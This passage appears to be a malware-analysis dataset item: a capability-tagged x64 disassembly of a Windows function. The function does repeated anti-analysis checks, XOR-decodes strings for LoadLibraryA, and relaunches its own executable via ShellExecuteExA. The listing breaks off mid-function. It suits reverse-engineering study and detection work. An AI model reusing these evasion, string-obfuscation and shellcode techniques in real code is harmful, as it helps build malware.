Function at 0x140026d4c
Capabilities:
Allocate or change rwx memory
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48558]
mov eax, 0x48630
call fcn.1400a6200
sub rsp, rax
mov rax, qword [0x140101700]
xor rax, rsp
mov qword [rbp + 0x48520], rax
mov rax, qword gs:[0x15]
xor ebx, ebx
mov r12d, 0xa8e3e350
mov r13d, 0x51a92e05
mov qword [rbp - 0x70], rbx
mov esi, 0xdeadbeef
movabs r11, 0x2aaaaaaaaaaaaaab
mov r14d, 0xdeedfeff
lea r15d, [rbx + 1]
cmp rax, r12
jne 0x140026ef7
mov r10d, r13d
mov edi, ebx
mov r8d, ebx
mov r9d, r12d
mov ebx, 0xdb4576f5
mov rdx, rbx
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x140026dd6
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
or rax, rsi
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140027050
add edi, r15d
cmp edi, 5
jl 0x140026e8f
mov ecx, 0xa8e3e350
call fcn.140006ce4
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e360
mov r14d, reloc.WS2_32.dll_recv
cmp rax, r12
jne 0x140027066
mov rdi, rbx
mov r8d, r14d
mov r9d, esi
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r11, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140026f7b
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140026f3b
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r11d, 0x8aec58f0
or rcx, r11
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov r11d, 0xdb4576f5
xor rcx, r11
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002705b
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140026fe6
jmp 0x14002706c
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r11d, 0xdb4576f5
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x140027190
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r12
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x140027090
xor rdi, r11
mov rcx, rdi
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r12
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140027942
add edi, r15d
cmp edi, 7
jl 0x140027128
mov ecx, 0xa8e3e350
call fcn.140024d00
mov rax, qword gs:[0x15]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, r12
jne 0x1400272f8
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, rsi
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x1400271cc
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov esi, 0xa8e3e360
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002794d
add edi, r15d
cmp edi, 5
jl 0x140027290
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x140027433
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs r10, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002735d
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002731d
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140027958
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x1400273c7
lea rdx, [0x1400f186b]
lea rcx, [rbp + 0x870]
call fcn.140006698
mov rdx, rax
mov ecx, 0xa8e3e350
call fcn.1400077d0
mov rax, qword gs:[0x15]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, r12
jne 0x1400275b1
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
mov rdx, rsi
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x140027485
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov esi, 0xa8e3e360
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140027963
add edi, r15d
cmp edi, 5
jl 0x140027549
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x1400276ec
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs r10, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140027616
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400275d6
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002796e
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140027680
mov byte [rbp + 0x148], 0xeb
mov byte [rbp + 0x149], Ordinal_41
mov byte [rbp + 0x14a], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x14b], 0x78
mov byte [rbp + 0x14c], 0x43
mov byte [rbp + 0x14d], Ordinal_79
mov byte [rbp + 0x14e], 0xf8
mov byte [rbp + 0x14f], Ordinal_217
mov byte [rbp + 0x150], gethostname
xor eax, eax
mov byte [rbp + 0x151], al
mov r8, rbx
movabs rbx, 0x184295a45
movabs rsi, 0x184295a46
movabs r9, 0xda5742c76
lea r10d, [rax + 9]
movabs r12, 0x8080808080808081
movabs r11, 0x1b4ae858ec
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r12
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x148]
xor dil, r8b
mov byte [rbp + r8 + 0x148], dil
add r8, r15
add r9, rsi
add r10, 9
cmp r9, r11
jb 0x14002776c
xor ebx, ebx
mov byte [rbp + 0x151], bl
lea rcx, [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x15]
mov r12d, 0xa8e3e350
cmp rax, r12
jne 0x140027984
mov r10, r13
mov edi, ebx
mov r8d, ebx
mov r9d, r12d
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
movabs r11, 0x2aaaaaaaaaaaaaab
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, rsi
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002781d
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140027979
add edi, r15d
cmp edi, 5
jl 0x1400278dc
jmp 0x14002798a
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r10d, 0xdeadbeef
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x140027ab2
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, r12
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x1400279ae
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002800d
add edi, r15d
cmp edi, 7
jl 0x140027a4a
mov byte [rbp + 0x278], __WSAFDIsSet
mov byte [rbp + 0x279], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x27a], Ordinal_45
mov byte [rbp + 0x27b], 0x7c
mov byte [rbp + 0x27c], 0xa8
mov byte [rbp + 0x27d], 0x65
mov byte [rbp + 0x27e], 0xf2
mov byte [rbp + 0x27f], 0xb7
mov byte [rbp + 0x280], 0x3d
mov byte [rbp + 0x281], Ordinal_211
mov byte [rbp + 0x282], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x283], 0x53
xor eax, eax
mov byte [rbp + 0x284], al
mov r8, rbx
movabs rsi, 0x184295a46
movabs rbx, 0x184295a45
lea r10d, [rax + 0xc]
movabs r9, 0x1231f03b48
movabs r11, 0x2463e07690
movabs r12, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r12
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x278], dil
add r8, r15
add r9, rsi
add r10, 0xc
cmp r9, r11
jb 0x140027b47
xor ebx, ebx
mov byte [rbp + 0x284], bl
lea rcx, [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
cmp rax, r10
mov esi, 0xa8e3e360
movabs r12, 0x1231f03b48
jne 0x140027d17
mov edi, ebx
mov r8d, r14d
mov r9d, esi
movabs r11, 0x2aaaaaaaaaaaaaab
movabs r10, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140027c3c
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140027bfc
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd30]
or rcx, rdx
mov rax, qword [rbp + 0xd28]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140028018
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140027cab
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14002569c
mov edi, 0x104
movabs r15, 0x918f81da4
mov qword [rsp + 0x60], r15
test eax, eax
jne 0x140029706
mov esi, ebx
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x28300]
call fcn.1400d04d0
mov r8d, edi
lea rdx, [rbp + 0x28300]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400282f6
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xcc0]
call fcn.1400d04d0
mov dword [rbp + 0xcb0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xcb4], 0x400
mov qword [rbp + 0xcb8], rbx
mov byte [rbp - 0x40], 0xbe
mov byte [rbp - 0x3f], 0xff
mov byte [rbp - 0x3e], 0x61
mov byte [rbp - 0x3d], 0x88
mov byte [rbp - 0x3c], 0xa6
xor eax, eax
mov byte [rbp - 0x3b], al
mov r8, rbx
movabs r9, 0x794cec35e
lea r10d, [rax + 5]
movabs r11, 0x8080808080808081
movabs r15, 0x184295a46
movabs r12, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x40], dil
inc r8
add r9, r15
add r10, 5
movabs rax, 0xf299d86bc
cmp r9, rax
jb 0x140027de3
mov byte [rbp - 0x3b], bl
lea rax, [rbp - 0x40]
mov qword [rbp + 0xcc0], rax
lea rax, [rbp + 0x28300]
mov qword [rbp + 0xcc8], rax
mov byte [rbp - 0x76], bl
lea rax, [rbp - 0x76]
mov qword [rbp + 0xcd0], rax
mov qword [rbp + 0xcd8], rbx
mov dword [rbp + 0xce0], 1
mov qword [rbp + 0xce8], rbx
lea rcx, [rbp + 0xcb0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov rcx, qword gs:[0x15]
test eax, eax
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
mov r10d, 0xa8e3e350
je 0x14002802d
mov r15d, 1
cmp rcx, r10
jne 0x140028004
mov rdi, rbx
mov r8d, 0xa8e3e360
lea r9d, [r15 + 0xf]
movabs r11, 0x2aaaaaaaaaaaaaab
movabs r10, 0x38728acc6e2e5700
sub r9d, r15d
sub r8, r15
mov rax, r11
imul r8
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r8
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r9d
and ecx, 0x80000003
jge 0x140027f31
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r9d, r9d
jne 0x140027ef1
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
movsxd rcx, ebx
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rbp - 0x70], rax
imul ecx, ebx, 0xfeedface
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x140028023
add ebx, r15d
mov eax, 0xa
cmp ebx, eax
jl 0x140027f9e
mov ecx, r15d
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rbp - 0x70]
call fcn.1400ac908
int3
cmp rcx, r10
jne 0x140028171
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xa8e3e360
movabs r11, 0x2aaaaaaaaaaaaaab
movabs r10, 0x38728acc6e2e5700
dec r8d
dec r9
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140028097
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140028059
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400282e0
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140028106
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x1400282fc
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
mov ebx, 0xdeedfeff
movabs r14, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
mov ecx, r9d
mov rdx, r11
shl rdx, cl
mov rax, r15
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r14
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
